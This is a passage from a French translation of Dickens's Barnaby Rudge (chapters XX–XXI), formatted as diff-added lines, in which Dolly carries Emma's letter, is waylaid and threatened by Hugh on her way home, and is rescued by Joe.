+de ketchup[20] et une bonne salade, et un jeune poulet rôti, et un
+plat de saucisses à la purée de pommes de terre, ou quelque chose
+de ce genre.» Quelque chose de ce genre! Voyez donc les ressources
+de ces auberges! Indiquer négligemment des plats qui étaient en
+eux-mêmes une espèce de dîner de première classe et de jour de
+fête, et qui convenaient à un repas de noce, les appeler «quelque
+chose de ce genre» n'était-ce pas comme s'il avait dit: «Si vous
+n'avez pas un jeune poulet, vous nous servirez, en fait de
+volaille, quelque autre bagatelle, par exemple un faisan, peut-
+être!» Et la cuisine donc, avec sa cheminée large comme une
+caverne, en voilà une cuisine où il ne semblait pas que l'art de
+cuisiner eût des limites, où vous pouviez croire à n'importe quoi
+de tout ce qu'on aurait pu vous raconter des choses qui se
+mangent! Mme Varden revint au comptoir après avoir contemplé ces
+merveilles, la tête tout étourdie de ravissement. Sa capacité
+comme ménagère n'était pas assez vaste pour les embrasser toutes.
+Elle fut contrainte d'aller dormir. Cela faisait mal de rester les
+yeux ouverts au milieu d'une telle immensité. Durant ce sommeil,
+Dolly, dont le coeur et la tête couraient gaiement sur d'autres
+sujets, passa la porte du jardin, et regardant de temps en temps
+derrière elle (mais ce n'était pas, croyez-le bien, pour voir si
+Joe l'avait aperçue), d'un pied léger suivit dans les champs, pour
+remplir sa mission à la Garenne, un petit sentier de traverse
+qu'elle connaissait fort bien; et, moi qui vous parle, j'ai été
+informé, et je le crois dur comme fer, que vous auriez vu peu
+d'objets aussi agréables que la mante et les rubans couleur
+cerise, lorsqu'ils voltigeaient le long des vertes prairies, à la
+brillante lumière du jour, comme de petits étourdis qu'ils
+étaient.
+
+
+
+
+CHAPITRE XX.
+
+
+L'orgueil qu'elle ressentait de la mission confiée à son adresse,
+et la grande importance qu'elle en tirait naturellement, l'eussent
+trahie aux yeux de toute la maison, s'il lui avait fallu essuyer
+les regards de ses habitants; mais, comme Dolly avait joué mainte
+et mainte fois dans chaque passage et chaque sombre pièce, au
+temps de son enfance, et que, depuis, elle avait été l'humble amie
+de Mlle Haredale, dont elle était la soeur de lait, elle en
+connaissait aussi bien les êtres que cette jeune personne elle-
+même. Ne prenant donc pas d'autres précautions que de retenir son
+haleine et de marcher sur la pointe du pied devant la porte de la
+bibliothèque, elle alla droit à la chambre d'Emma, comme une
+visiteuse privilégiée.
+
+C'était la chambre la plus gaie de l'édifice. La pièce était sans
+doute sombre comme le reste; mais la jeunesse et la beauté rendent
+une prison joyeuse (sauf, hélas! que l'isolement les y étiole) et
+prêtent quelques-uns de leurs propres charmes à la plus lugubre
+scène. Oiseaux, fleurs, livres, dessins, musique, et mille choses
+de ce genre, mille gracieux témoignages des affections et des
+préoccupations féminines, remplissaient de plus de vie et de
+sympathie humaine cette seule pièce que la maison tout entière ne
+semblait faite pour en contenir. Il y avait un coeur dans cette
+chambre; et celui qui a un coeur ne manque jamais de reconnaître
+la silencieuse présence d'un coeur comme le sien.
+
+Dolly en avait incontestablement un, et pas trop coriace, je vous
+assure, quoiqu'il y eût autour un petit brouillard de velléités
+coquettes comparable à ces vapeurs qui environnent le soleil de la
+vie dans son matin et obscurcissent un peu son lustre. Aussi,
+quand Emma, s'étant levée pour aller à sa rencontre et l'ayant
+baisée affectueusement sur la joue, lui eut dit, avec son calme
+ordinaire, qu'elle avait été bien malheureuse, les larmes vinrent
+aux yeux de Dolly, et elle se sentit plus chagrine qu'elle ne
+pouvait le dire; mais un moment, après il lui arriva de relever
+les yeux, de les voir dans la glace, et ils avaient en vérité
+quelque chose de si excessivement agréable, que tout en soupirant
+elle sourit, et se sentit étonnamment consolée.
+
+«J'ai entendu parler de cela, mademoiselle, dit Dolly, et c'est
+vraiment fort pénible; mais, quand les choses sont au pis, elles
+ne peuvent que tourner au mieux.
+
+-- Mais êtes-vous sûre qu'elles sont au pis? demanda Emma avec un
+triste sourire.
+
+-- Eh! mais, je ne vois pas comment elles pourraient donner moins
+d'espérances. Je ne le vois réellement pas, dit Dolly. Et, pour
+qu'elles commencent à changer, je vous apporte quelque chose.
+
+-- Ce n'est point de la part d'Édouard?»
+
+Dolly fit un signe de tête et sourit; elle tâta dans ses poches
+(il y avait des poches à cette époque-là) en affectant de craindre
+qu'elle ne fût jamais capable de trouver ce qu'elle cherchait, ce
+qui rehaussa grandement son importance, puis elle finit par
+produire la lettre. Lorsque Emma eut bien vite rompu le cachet et
+dévoré l'écriture, les yeux de Dolly, par un de ces étranges
+hasards dont on ne saurait rendre compte, errèrent de nouveau dans
+la direction de la glace. Elle ne put s'empêcher de se dire qu'en
+effet le carrossier devait souffrir beaucoup, et de plaindre tout
+à fait le pauvre jeune homme.
+
+C'était une longue lettre, une très longue lettre, écrite en
+lignés serrées sur les quatre pages, et encore entrecroisées, qui
+plus est; mais ce n'était pas une lettre consolante, car Emma
+pendant sa lecture s'arrêta de temps en temps pour mettre son
+mouchoir sur ses yeux. Il est certain que Dolly s'émerveilla fort
+de la voir en proie à une si grande affliction: car une affaire
+d'amour devait être, dans son idée, un des meilleurs badinages,
+une des plus piquantes et des plus amusantes choses de la vie.
+Mais elle considéra comme positif en son esprit que tout ceci
+venait de l'extrême constance de Mlle Haredale, et que, si elle
+voulait s'éprendre de quelque autre jeune gentleman, de la façon
+la plus innocente du monde, juste assez pour maintenir son premier
+amant à l'étiage des grandes eaux de la passion, elle se
+trouverait soulagée d'une manière sensible.
+
+«Bien sûr, c'est ce que je ferais si c'était moi, pensa Dolly.
+Rendre ses amants malheureux, c'est assez légitime et tout à fait
+légitime; mais se rendre malheureuse soi-même, pas de ça.»
+
+Toutefois un tel langage aurait mal réussi; elle demeura donc
+assise à regarder en silence. Force lui fut d'avoir une patience
+du plus gentil tempérament: car, lorsque la longue lettre eut été
+lue une fois d'un bout à l'autre, elle fut relue une seconde fois,
+et, lorsqu'elle eut été lue deux fois d'un bout à l'autre, elle
+fut relue une troisième fois. Durant cette ennuyeuse séance, Dolly
+trompa de son mieux la lenteur du temps; elle frisa sa chevelure
+sur ses doigts, en s'aidant du miroir déjà consulté plus d'une
+fois, et se fit quelques boucles assassines.
+
+Toute chose a son terme. Les jeunes amoureuses elles-mêmes ne
+peuvent pas lire éternellement les lettres qu'on leur écrit. Avec
+le temps le paquet fut replié, et il ne resta plus qu'à écrire la
+réponse.
+
+Mais comme cela promettait d'être une oeuvre qui exigerait aussi
+du temps, Emma le remit après le dîner, disant qu'il fallait
+absolument que Dolly dînât avec elle. Dolly s'était d'avance
+proposé de le faire; il n'y eut donc pas besoin de la presser
+extrêmement, et ce point réglé, les deux amies sortirent pour se
+promener dans le jardin.
+
+Elles flânèrent en tous sens le long des allées de la terrasse,
+parlant continuellement (Dolly, du moins, ne déparla pas une
+minute), et donnant à ce quartier de la lugubre maison une gaieté
+complète: non qu'on les entendît parler haut ni qu'on les vît rire
+beaucoup; mais elles étaient toutes les deux si bien tournées, et
+il faisait une si douce brise ce jour-là, et leurs légers
+vêtements, et les brunes boucles de leur chevelure paraissaient si
+libres et si joyeuses dans leur abandon, et Emma était si belle,
+et Dolly avait un teint si rosé, et Emma avait une taille si
+délicate, et Dolly était si rondelette, et en un mot il n'y a pas
+de fleurs dans aucun jardin comme ces fleurs-là, quoi qu'en disent
+les horticulteurs; la maison et le jardin semblaient bien aussi le
+savoir: il n'y avait qu'à voir la mine radieuse qu'ils avaient.
+
+Après la promenade vint le dîner, puis la lettre fut écrite, puis
+il y eut encore quelque petite causerie, dans le cours de laquelle
+Mlle Haredale saisit l'occasion d'accuser Dolly de certaines
+tendances coquettes et volages; on aurait cru que Dolly prenait
+ces accusations pour des compliments, et qu'elle s'en amusait
+extrêmement. La trouvant tout à fait incorrigible, Emma consentit
+à son départ, mais non sans lui avoir confié auparavant cette
+importante réponse dont jamais on ne pouvait avoir assez de soin;
+et elle la gratifia, en outre, d'un joli petit bracelet pour lui
+servir de souvenir. L'ayant agrafé au bras de sa soeur de lait, et
+lui ayant derechef, moitié plaisamment moitié sérieusement,
+conseillé de s'amender dans ses friponnes coquetteries, car Emma
+savait que Dolly aimait Joe au fond du coeur (ce que Dolly niait
+avec force en multipliant d'altières protestations, et qu'elle
+espérait bien rencontrer mieux que cela en vérité! et ainsi de
+suite), Mlle Haredale lui dit adieu; et après l'avoir rappelée,
+elle lui donna pour Édouard quelques messages supplémentaires,
+qu'une personne dix fois plus grave que Dolly aurait eu de la
+peine à retenir, et elle la congédia enfin.
+
+Dolly lui dit adieu, et, sautant avec légèreté les marches de
+l'escalier, elle arriva à la porte de la terrible bibliothèque,
+devant laquelle elle allait repasser sur la pointe du pied,
+lorsque cette porte s'ouvrit, et tout à coup parut M. Haredale.
+Or, Dolly avait dès son enfance associé avec l'idée de ce
+gentleman celle de quelque chose d'affreux comme un fantôme, sa
+conscience étant d'ailleurs au même moment agitée de remords, la
+vue de l'oncle d'Emma la jeta dans un tel désordre d'esprit
+qu'elle ne put ni le saluer ni s'échapper; elle éprouva un grand
+tressaillement, et puis elle resta là, les yeux baissés, immobile
+et tremblante.
+
+«Venez ici, petite fille, dit M. Haredale en la prenant par la
+main. J'ai à vous parler.
+
+-- S'il vous plaît, monsieur, il faut que je me dépêche, balbutia
+Dolly, et... et vous m'avez effrayée en m'abordant d'une manière
+si soudaine, monsieur. J'aimerais mieux m'en aller, monsieur, si
+vous étiez assez bon pour me le permettre.
+
+-- Immédiatement, dit M. Haredale, qui pendant ce temps l'avait
+conduite dans la bibliothèque, dont il avait fermé la porte. Vous
+vous en irez tout de suite. Vous venez de quitter Emma?
+
+-- Oui, monsieur, il n'y a qu'une minute; mon père m'attend,
+monsieur; ayez la bonté, s'il vous plaît...
+
+-- Je sais, je sais, dit M. Haredale. Répondez à cette question.
+Qu'avez-vous apporté ici aujourd'hui?
+
+-- Apporté ici, monsieur? balbutia Dolly.
+
+-- Vous me direz la vérité, j'en suis sûr. N'est-ce pas?»
+
+Dolly hésita un instant, et quelque peu enhardie par le ton de
+M. Haredale, elle dit enfin: «Eh bien, monsieur, c'était une
+lettre.
+
+-- De M. Édouard Chester, naturellement. Et vous remportez la
+réponse?»
+
+Dolly hésita de nouveau, et, faute de mieux, elle fondit en
+larmes.
+
+«Vous vous alarmez sans motif, dit M. Haredale. Pourquoi ces
+enfantillages? Assurément vous pouvez me répondre. Vous savez que
+je n'aurais qu'à poser la question à Emma, pour connaître aussitôt
+la vérité. Avez-vous la réponse sur vous?»
+
+Dolly avait, comme on dit, son petit caractère, et, se voyant
+alors joliment aux abois, elle le déploya de son mieux.
+
+«Oui, monsieur, répliqua-t-elle, toute tremblante et effrayée
+qu'elle était; oui, monsieur, je l'ai. Vous pouvez me tuer si vous
+voulez, monsieur, mais je ne m'en dessaisirai pas. J'en suis très
+fâchée, mais je ne la livrerai pas; voilà, monsieur.
+
+-- Je loue votre fermeté et votre franchise, dit M. Haredale.
+Soyez assurée que je désire aussi peu vous ravir votre lettre que
+votre vie. Vous êtes une très discrète messagère et une bonne
+fille.»
+
+Ne se sentant point la pleine certitude, comme elle l'avoua plus
+tard, qu'il n'allait pas sauter sur elle à la faveur de ces
+compliments, Dolly se tint éloignée de lui autant qu'elle put et
+pleura de nouveau, décidée à défendre sa poche (où était la
+lettre) jusqu'à la dernière extrémité.
+
+«J'ai quelque intention, dit M. Haredale après un court silence,
+pendant lequel un sourire, alors qu'il regarda Dolly, avait percé
+le sombre nuage de mélancolie naturelle répandue sur sa figure, de
+procurer une compagne à ma nièce car sa vie est très solitaire.
+Aimeriez-vous cette position? Vous êtes la plus ancienne amie
+qu'elle ait, et vous avez à notre préférence les meilleurs titres.
+
+-- Je ne sais, monsieur, répondit Dolly, craignant un peu qu'il ne
+voulût se moquer d'elle, je ne peux rien vous dire. J'ignore ce
+qu'on en penserait à la maison, je ne peux pas vous donner mon
+opinion là-dessus, monsieur.
+
+-- Si vos parents n'y avaient pas d'objections, en auriez-vous
+pour votre compte? dit M. Haredale. Allons, c'est une question
+toute simple, à laquelle il est aisé de répondre.
+
+-- Aucune absolument que je sache monsieur, répliqua Dolly. Je
+serais fort heureuse sans doute d'être auprès de Mlle Emma, car
+c'est toujours un bonheur pour moi.
+
+-- Très bien, dit M. Haredale. Voilà tout ce que j'avais à vous
+dire, vous brûlez de vous en aller, libre à vous, je ne vous
+retiens plus.»
+
+Dolly ne se laissa point retenir, et n'attendit point qu'il
+l'essayât: car ces mots n'eurent pas sitôt fui des lèvres de
+M. Haredale, que Dolly avait fui aussi de la chambre et de la
+maison, et se retrouvait dans les champs.
+
+La première chose qu'elle fit, comme de raison, quand elle revint
+à elle-même et qu'elle considéra le grand émoi où elle venait
+d'être, ce fut de repleurer de nouveau, et la seconde, lorsqu'elle
+réfléchit au succès de sa résistance, ce fut de rire de tout son
+coeur. Les larmes une bonne fois bannies cédèrent la place aux
+sourires et Dolly finit par rire tant, mais tant, qu'il lui fallut
+s'appuyer contre un arbre et donner carrière à ses transports.
+Quand elle ne put pas rire davantage, et qu'elle en fut tout à
+fait fatiguée, elle rajusta sa coiffure, sécha ses yeux, regarda
+derrière elle avec une joie bien vive et bien triomphante les
+cheminées de la Garenne qui allaient bientôt disparaître à sa vue,
+et poursuivit sa route.
+
+Le crépuscule était survenu, et l'obscurité augmentait d'une
+manière rapide dans la campagne; mais Dolly était si familiarisée
+avec le sentier, pour l'avoir traversé bien souvent, qu'elle
+s'apercevait à peine de la brune, et n'éprouvait aucun malaise
+d'être seule. D'ailleurs, il y avait le bracelet à admirer; et
+quand elle l'eut bien frotté et se le fut offert en perspective au
+bout de son bras étendu, il étincelait et reluisait si
+magnifiquement à son poignet, que le contempler dans tous les
+points de vue, et en tournant le bras de toutes les façons
+possibles, était devenu une occupation tout à fait absorbante. Il
+y avait la lettre, aussi, et qui lui semblait si mystérieuse, si
+rusée, quand elle la tira de sa poche, et qui contenait tant
+d'écriture sur ses pages, que de la tourner, et retourner, en se
+demandant de quelle manière elle commençait, de quelle manière
+elle finissait, et ce qu'elle disait tout du long, cela devint un
+autre sujet d'occupation continuelle. Entre le bracelet et la
+lettre, il y eut bien assez à faire sans penser à autre chose; et,
+en les admirant tour à tour, Dolly chemina gaiement.
+
+Comme elle passait par une porte d'échalier[21], là où le sentier
+était étroit et flanqué de deux haies garnies d'arbres de place en
+place, elle entendit tout près d'elle un frôlement qui la fit
+s'arrêter soudain. Elle écouta. Tout était tranquille, et elle
+poursuivit sa route, non pas absolument avec frayeur, mais avec un
+peu plus de vitesse qu'avant peut-être; il est possible aussi
+qu'elle fût un peu moins à son aise, car une alerte de ce genre
+est toujours saisissante.
+
+Elle n'eut pas sitôt repris sa marche, qu'elle entendit le même
+son, semblable au bruit d'une personne qui se glisserait à pas de
+loup le long des buissons et des broussailles. Regardant du côté
+d'où ce bruit paraissait venir, elle s'imagina presque pouvoir
+distinguer une forme rampante. Elle s'arrêta derechef. Tout était
+tranquille comme avant. Elle se remit en marche, décidément plus
+vite cette fois, et elle essaya da chanter doucement à part elle.
+Bon! encore! il fallait donc que ce fût le vent.
+
+Mais comment arrivait-il que le vent soufflât seulement
+lorsqu'elle marchait, et qu'il cessât de souffler lorsqu'elle
+restait immobile? Elle s'arrêta sans le vouloir en faisant cette
+réflexion, et le frôlement s'arrêta également. Elle ressentait en
+réalité de la frayeur à présent, et elle hésitait encore sur ce
+qu'elle devait faire, quand des branches craquèrent, se cassèrent,
+et un homme plongeant au travers vint se planter en face d'elle et
+tout près d'elle.
+
+
+
+
+CHAPITRE XXI.
+
+
+Ce fut pour Dolly un soulagement inexprimable lorsqu'elle reconnut
+en la personne qui avait pénétré de force dans le sentier d'une
+façon si soudaine, et qui maintenant se trouvait debout
+précisément sur son passage, Hugh du Maypole; elle proféra son nom
+d'un accent de délicieuse surprise, d'un accent sorti du coeur.
+
+«C'était vous? dit-elle. Que je suis heureuse de vous voir!
+Comment pouviez-vous m'effrayer ainsi?»
+
+En réponse à cela, il ne dit rien du tout, mais resta parfaitement
+immobile à la regarder.
+
+«Est-ce que vous êtes venu à ma rencontre?» demanda Dolly.
+
+Hugh fit un signe de tête affirmatif, et marmotta quelque chose
+dont le sens était qu'il l'avait attendue, et qu'il croyait la
+revoir plus tôt.
+
+«Je supposais bien qu'on enverrait au-devant de moi, dit Dolly,
+grandement rassurée par les paroles de Hugh.
+
+-- Personne ne m'a envoyé, répondit-il d'un air maussade. Je suis
+venu de mon chef.»
+
+Les rudes manières de ce garçon, et son extérieur étrange et
+inculte, avaient souvent rempli la jeune fille d'une crainte
+vague, même quand il y avait là d'autres personnes; et cette
+crainte était cause qu'elle s'éloigna involontairement de lui. La
+pensée d'avoir en lui un compagnon venu de son chef, dans cet
+endroit solitaire, et lorsque les ténèbres se répandaient avec
+rapidité autour d'eux, renouvela et même augmenta les alarmes
+qu'elle avait ressenties d'abord.
+
+Si l'air de Hugh n'avait été que hargneux et passivement farouche,
+comme d'habitude, elle n'aurait pas eu pour sa compagnie plus de
+répugnance qu'elle n'en avait toujours éprouvé; peut-être même
+eût-elle été bien aise de cette escorte. Mais il y avait dans ses
+regards une espèce de grossière et audacieuse admiration qui la
+terrifia. Elle jetait sur lui des coups d'oeil timides, incertaine
+si elle devait avancer ou reculer, et lui, debout, la regardait
+comme un beau Satyre; et ils restèrent ainsi pendant quelque temps
+sans bouger ni rompre le silence. Enfin Dolly prit courage, le
+dépassa d'un bond, et marcha précipitamment.
+
+«Pourquoi donc vous essoufflez-vous à m'éviter? dit Hugh, en
+accommodant son pas à celui de la jeune fille et se tenant tout
+près d'elle.
+
+-- Je veux rentrer le plus vite possible, et d'ailleurs vous
+marchez trop près de moi, répondit Dolly.
+
+-- Trop près! dit Hugh en se baissant sur elle au point qu'elle
+pouvait sentir l'haleine de celui-ci sur son front. Pourquoi trop
+près? Vous êtes toujours fière avec moi, mistress.
+
+-- Je ne suis fière avec personne. Vous me jugez mal, répondit
+Dolly. Tenez-vous en arrière, s'il vous plaît, ou allez-vous-en.
+
+-- Non, mistress, répliqua-t-il en cherchant à mettre le bras de
+la jeune fille dans le sien. J'irai avec vous.»
+
+Elle se dégagea, et serrant sa petite main, elle le frappa avec
+toute la bonne volonté possible. Ce coup fit éclater de rire Hugh
+du Maypole, ou plutôt il poussa un rugissement jovial; et lui
+passant son bras autour de la taille, il la retint dans sa forte
+étreinte aussi aisément que si elle eût été un oiseau.
+
+«Ha, ha, ha! bravo, mistress! Frappez encore. Meurtrissez-moi la
+figure, arrachez-moi les cheveux, déracinez-moi la barbe, j'y
+consens, pour l'amour de vos beaux yeux. Frappez encore,
+maîtresse. Allons. Ha, ha, ha! ça me fait plaisir.
+
+-- Lâchez-moi, cria-t-elle, en s'efforçant avec les deux mains de
+se débarrasser de lui. Lâchez-moi tout de suite.
+
+-- Vous feriez bien d'être moins cruelle pour moi, mon adorable,
+dit Hugh, vous feriez bien, en vérité. Voyons, pourquoi êtes-vous
+toujours si fière? Mais je ne vous en fais pas de reproche. J'aime
+à vous voir fière comme cela. Ha, ha, ha! Vous ne pouvez pas
+cacher votre beauté à un pauvre garçon; c'est toujours ça.»
+
+Elle ne lui fit aucune réponse; mais, comme il ne l'avait pas
+encore empêchée de continuer sa marche, elle avançait le plus vite
+qu'elle pouvait. À la fin, tandis qu'elle marchait avec
+précipitation, dans sa terreur, et qu'il l'étreignait davantage,
+la force manqua à la pauvre enfant, et elle ne put pas aller plus
+loin.
+
+«Hugh, cria la jeune fille haletante, si vous me laissez, je vous
+donnerai quelque chose, tout ce que j'ai, et je ne dirai jamais un
+mot de ceci à âme qui vive.
+
+-- C'est ce que vous avez de mieux à faire, répondit-il. Écoutez,
+petite colombe, c'est ce que vous avez de mieux à faire. Tout le
+monde d'alentour me connaît, et l'on sait ce dont je suis capable,
+quand je veux. Si jamais vous êtes tentée de parler de cela,
+arrêtez-vous avant que les mots s'échappent de vos lèvres, et
+pensez au mal que vous attireriez, en jasant, sur quelques têtes
+innocentes dont vous ne voudriez pas qu'il tombât un cheveu.
+Faites-moi de la peine, et je leur en ferai, et quelque chose de
+plus en retour. Je ne me soucie pas plus de leur peau que si
+c'étaient des chiens, pas même autant. Et pourquoi m'en
+soucierais-je? Il n'y a pas de jour où je ne fusse plus disposé à
+tuer un homme qu'un chien. Je n'ai jamais été peiné de la mort
+d'un homme dans toute ma vie, et la mort d'un chien m'a fait de la
+peine.»
+
+Il y avait quelque chose de si complètement sauvage dans le
+caractère de ces expressions, dans les regards et les gestes dont
+elles étaient accompagnées, que la frayeur de Dolly lui donna une
+nouvelle vigueur, et la rendit capable de se dégager par un
+soudain effort et de courir de toute sa vitesse. Mais Hugh était
+aussi agile et vigoureux, aussi rapide à la course que n'importe
+quel coureur dans toute l'Angleterre. Ce ne fut qu'une vaine
+dépense d'énergie; car, avant que la fugitive eût fait cent pas,
+il l'entoura une seconde fois de ses bras.
+
+«Doucement! chérie, doucement! Voudriez-vous donc fuir le rude
+Hugh, qui ne vous aime pas moins que n'importe quel galant de
+salon?
+
+-- Oui, je le voudrais, dit-elle en s'efforçant de se dégager de
+nouveau. Je le veux. Au secours!
+
+-- À l'amende, pour avoir crié ainsi, dit Hugh. Ha, ha, ha! une
+amende, une gentille amende, que vont payer vos lèvres. Tenez, je
+me paye moi-même. Ha, ha, ha!
+
+-- Au secours! Au secours! Au secours!»
+
+Comme elle poussait ce cri perçant avec toute la véhémence qu'elle
+pouvait y mettre, on entendit un cri répondre au sien, puis un
+autre, et un autre encore.
+
+«Merci, mon Dieu! s'écria la jeune fille, dans l'ivresse de la
+délivrance. Joe, cher Joe, par ici. Au secours!»
+
+Hugh cessa son attaque, et resta irrésolu pendant un moment; mais
+les cris, approchant de plus en plus et arrivant vite sur eux, le
+forcèrent de prendre une prompte résolution. Il relâcha Dolly,
+chuchota d'un air de menace: «Vous n'avez qu'à lui conter ça, et
+vous en verrez les suites.» Puis sautant par-dessus la haie, il
+disparut en un instant. Dolly s'élança comme une flèche, et courut
+se jeter tout bellement dans les bras ouverts de Joe Willet.
+
+«Qu'y a-t-il? Êtes-vous blessée? Qu'était-ce donc? Qui était-ce?
+Où est-il? À quoi ressemblait-il?» Telles furent les premières
+paroles qui jaillirent de la bouche de Joe, avec un grand nombre
+d'expressions encourageantes et d'assurances qu'elle n'avait plus
+rien à craindre. Mais la pauvre petite Dolly était si hors
+d'haleine et si terrifiée que, pendant quelque temps, elle ne put
+lui répondre, et resta pendue à l'épaule de son libérateur,
+sanglotant et pleurant comme si son coeur voulait se briser.
+
+Joe n'avait pas la moindre objection à sentir Dolly suspendue à
+son épaule; non, pas la moindre, quoique cela froissât
+pitoyablement les rubans couleur cerise, et ôtât à l'élégant petit
+chapeau toute espèce de forme. Mais il ne supporta pas la vue de
+ses larmes; cela lui alla au fond du coeur. Il essaya de la
+consoler, se pencha sur elle, lui chuchota quelques mots, d'aucuns
+prétendent qu'il lui donna quelques baisers, mais c'est une fable.
+Quoi qu'il en soit, Joe dit toutes les affectueuses et tendres
+choses qu'il put imaginer, et Dolly le laissa continuer sans
+l'interrompre une seule fois, et dix bonnes minutes se passèrent
+avant qu'elle fût en état de relever la tête et de le remercier.
+
+«Qu'est-ce donc qui vous a effrayée?» dit Joe.
+
+Un homme, un inconnu l'avait suivie, répondit-elle; il avait
+commencé par lui demander l'aumône, puis il en était venu à des
+menaces de vol, menaces qu'il était prêt de mettre à exécution, et
+qu'il aurait exécutées si Joe n'était accouru à temps pour la
+défendre. La manière hésitante et confuse dont elle dit tout cela
+fut attribué par Joe à l'effroi qu'elle avait éprouvé, pour le
+moment. Il ne soupçonna pas la vérité le moins du monde.
+
+«Arrêtez-vous avant que ces mots s'échappent de vos lèvres!» Cent
+fois durant cette soirée, et bien des fois à une époque
+postérieure, quand la révélation monta pour ainsi dire à sa
+langue, Dolly se rappela l'avertissement de Hugh, et se retint de
+parler. Une terreur de cet homme profondément enracinée chez elle,
+la certitude que sa féroce nature, une fois excitée, ne reculerait
+devant rien, et la conviction que, si elle l'accusait, sa colère
+et sa vengeance se déchargeraient pleinement sur Joe, son
+libérateur: ce furent là des considérations qu'elle n'eut pas le
+courage de surmonter, des motifs trop puissants de garder le
+silence pour qu'elle en pût triompher.
+
+Joe, de son côté, était beaucoup trop heureux pour pousser ses
+questions avec une grande curiosité; et Dolly étant, du sien,
+encore trop tremblante pour marcher sans appui, ils avancèrent
+très lentement et, selon lui, très agréablement, jusqu'à ce que
+les lumières du Maypole furent tout près, plus brillantes que
+jamais pour leur faire un joyeux accueil. Alors Dolly s'arrêta
+tout à coup et poussa un demi-cri d'effroi.
+
+«La lettre!
+
+-- Quelle lettre? cria Joe.
+
+-- Celle que j'apportais. Je l'avais à la main. Mon bracelet
+aussi, dit-elle en serrant de sa main le poignet de l'autre. Je
+les ai perdus tous les deux.
+
+-- Ne faites-vous que de vous en apercevoir? dit Joe.
+
+-- Je les ai laissés tomber ou on me les a pris, répondit Dolly,
+tandis qu'elle fouillait en vain dans sa poche et secouait ses
+vêtements. Ils n'y sont plus, ils ont disparu tous les deux.
+Malheureuse fille que je suis!» À ces mots, la pauvre Dolly, qui,
+pour lui rendre justice, était absolument aussi chagrine d'avoir
+perdu la lettre que le bracelet, pleura de nouveau et gémit sur
+son destin d'une façon très touchante.
+
+Joe la consola en l'assurant qu'aussitôt qu'il l'aurait mise en
+sûreté au Maypole, il retournerait à l'endroit avec une lanterne
+(car il faisait maintenant tout à fait noir), et chercherait
+scrupuleusement les objets perdus, qu'il trouverait, selon la plus
+grande probabilité, car il n'était pas vraisemblable que quelqu'un
+eût depuis passé par là, et elle n'avait pas la conviction que ces
+objets lui eussent été soustraits. Dolly le remercia très
+cordialement de son offre, en avouant qu'elle n'espérait guère
+qu'il réussît dans ses recherches; et de la sorte, avec beaucoup
+de lamentations du côté de Dolly, et beaucoup de paroles d'espoir
+du côté de Joe, et une extrême faiblesse du côté de Dolly, et le
+plus tendre empressement à la soutenir du côté de Joe, ils purent
+atteindre enfin le comptoir du Maypole, où le serrurier, sa femme
+et le vieux John, prolongeaient encore un joyeux festin.
+
+M. Willet reçut la nouvelle de l'accident de Dolly avec cette
+surprenante présence d'esprit et cette promptitude d'élocution qui
+le distinguaient d'une façon si éminente et le plaçaient au-dessus
+des autres hommes. Mme Varden exprima sa sympathie pour la douleur
+de sa fille en la grondant vertement de revenir si tard; et le bon
+serrurier se partagea entre les consolations et les baisers qu'il
+donnait à Dolly et les poignées de main qu'il prodiguait à Joe, ne
+pouvant assez le louer et le remercier.
+
+Sur cet article, le vieux John était loin d'être d'accord avec son
+ami: car, outre qu'en thèse générale il n'avait aucun goût pour
+les esprits aventureux, il lui vint à l'idée que, si son fils et
+héritier avait été sérieusement endommagé dans une batterie, cela
+aurait eu des conséquences sans aucun doute dispendieuses,
+gênantes, et peut-être même préjudiciables aux affaires du
+Maypole. Pour cette raison, et aussi parce qu'il ne regardait pas
+d'un oeil favorable les jeunes filles, mais plutôt les
+considérait, avec le sexe féminin tout entier, comme une espèce de
+bévue de la nature, il sortit du comptoir sous un prétexte, et
+alla secouer sa tête en particulier devant le chaudron en cuivre.
+Inspiré et incité par ce silencieux oracle, il fit du coude
+quelques signes clandestins à Joe, en guise de paternel reproche
+et de douce admonition, comme pour lui dire: «Tu ferais mieux de
+t'occuper de tes affaires, au lieu de faire des sottises
+pareilles.»
+
+Joe, toutefois, prit sur une planche la lanterne et l'alluma:
+puis, s'armant d'un solide bâton, il demanda si Hugh était dans
+l'écurie.
+
+«Il dort, étendu devant le feu de la cuisine, monsieur, dit
+M. Willet. Que lui voulez-vous?
+
+-- Je veux l'emmener avec moi pour chercher ce bracelet, répondit
+Joe. Holà! venez ici, Hugh.»
+
+Dolly devint pâle comme la mort et se sentit toute prête à
+s'évanouir. Quelques moments, après Hugh entra d'un pas
+chancelant, en s'étirant et bâillant selon son habitude, et ayant
+tout à fait l'air d'avoir été réveillé d'un profond somme.
+
+«Ici, dormeur éternel! dit Joe en lui donnant la lanterne.
+Emportez cela et amenez le chien. Malheur à cet individu si nous
+l'attrapons!
+
+-- Quel individu? grogna Hugh en frottant ses yeux et se secouant.
+
+-- Quel individu! répliqua Joe qui, dans sa bouillante valeur, ne
+pouvait pas rester en place. Vous sauriez de quel l'individu il
+s'agit, si vous étiez un peu plus vigilant. Il est bien digne de
+vous et de ceux qui vous ressemblent, paresseux géant que vous
+êtes, de passer le temps à ronfler dans le coin d'une cheminée,
+quand les filles des honnêtes gens ne peuvent traverser même nos
+paisibles prairies à la chute du jour sans être attaquées par des
+voleurs, et effrayées au point que cela compromet leurs précieuses
+vies.
+
+-- Jamais ils ne me volent, moi, cria Hugh en riant. Je n'ai rien
+à perdre. Mais c'est égal, je les assommerais aussi volontiers que
+d'autres. Combien sont-ils?
+
+-- Un seul, dit Dolly d'une voix faible, car tout le monde la
+regardait.
+
+-- Et quelle espèce d'homme, mistress? dit Hugh, en lançant sur le
+jeune Willet un coup d'oeil si léger, si rapide, que ce qu'il
+avait de menaçant fut perdu pour tous excepté pour elle. À peu
+près de ma taille?
+
+-- Non, pas si grand, répliqua Dolly, qui savait à peine ce
+qu'elle disait.
+
+-- Son costume, dit Hugh en la regardant d'une manière perçante,
+ressemblait-il à quelqu'un des nôtres? Je connais tous les gens
+des alentours, et peut-être que je mettrais sur la voie de cet
+homme, si j'avais un simple renseignement pour me guider.»
+
+Dolly balbutia et redevint pâle; puis elle répondit qu'il était
+enveloppé d'un habit très ample et que sa figure était cachée par
+un mouchoir, et qu'elle ne saurait fournir d'autres détails de
+signalement.
+
+«Alors il est probable que vous ne le reconnaîtriez pas si vous le
+voyiez, dit Hugh avec un malicieux sourire qui montra ses dents.
+
+-- Je ne le reconnaîtrais pas, répliqua Dolly; et elle fondit de
+nouveau en larmes. Je souhaite de ne pas le revoir. Penser à lui
+m'est insupportable: je ne peux même en parler davantage. Monsieur
